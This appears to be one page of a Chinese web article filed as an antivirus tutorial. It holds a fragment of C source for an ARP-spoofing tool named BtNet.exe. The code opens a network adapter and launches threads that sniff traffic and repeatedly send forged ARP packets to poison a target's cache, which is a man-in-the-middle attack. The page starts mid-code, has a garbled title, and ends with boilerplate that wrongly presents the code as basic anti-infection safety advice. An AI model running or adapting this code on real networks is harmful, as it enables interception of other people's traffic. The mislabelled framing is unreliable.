首页/杀毒教程/内容

的R -基于网络攻击, ARP协议欺骗程序源代码BtNet.exe

杀毒教程2022-11-08 阅读()
(lpAdapter->hFile==INVALID_HANDLE_value))

{

printf("PacketOpenAdapter Error: %d\n",GetLastError());

return -1;

}

if(PacketGetNetType(lpAdapter,&ntype))

{

printf("\n\t\t*** Host Information ***\n");

printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);

printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);

}

npflen=sizeof(ipbuff);

if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))

{

sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);

printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));

sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);

printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));

sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);

printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));

myip=ntohl(sin.sin_addr.s_addr);

printf("[MACAddress:]");

}

else

{

printf("\nNot get enough data\n");

//PacketFreePacket(lppackets);

PacketCloseAdapter(lpAdapter);

return -1;

}

printf("\n");

oipandmac.ip=oIP;

toipandmac.ip=toIP;

myipandmac.ip=myip;

sendtoOip=FALSE;

thread1=CreateThread(NULL,0,sniff,NULL,0,&threadid1);

Sleep(300);

thread2=CreateThread(NULL,0,sendARPPacket,(LPVOID)&myip,0,&threadid2);

Sleep(100);

CloseHandle(thread2);

thread2=CreateThread(NULL,0,sendARPPacket,(LPVOID)&toIP,0,&threadid2);

Sleep(10);

CloseHandle(thread2);

sendtoOip=TRUE;

Sleep(200);

thread2=CreateThread(NULL,0,sendARPPacket,(LPVOID)&oIP,0,&threadid2);

Sleep(10);

CloseHandle(thread2);

// WaitForSingleObject(thread1,INFINITE);

thread3=CreateThread(NULL,0,sendSRTimer,(LPVOID)&toIP,0,&threadid3);

WaitForSingleObject(thread3,INFINITE);

PacketCloseAdapter(lpAdapter);

return 0;

}


上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。



第1页  第2页  第3页  第4页  第5页  第6页  第7页  第8页  第9页  第10页  第11页  第12页  第13页  第14页  第15页  第16页  第17页  第18页  第19页 

……

相关阅读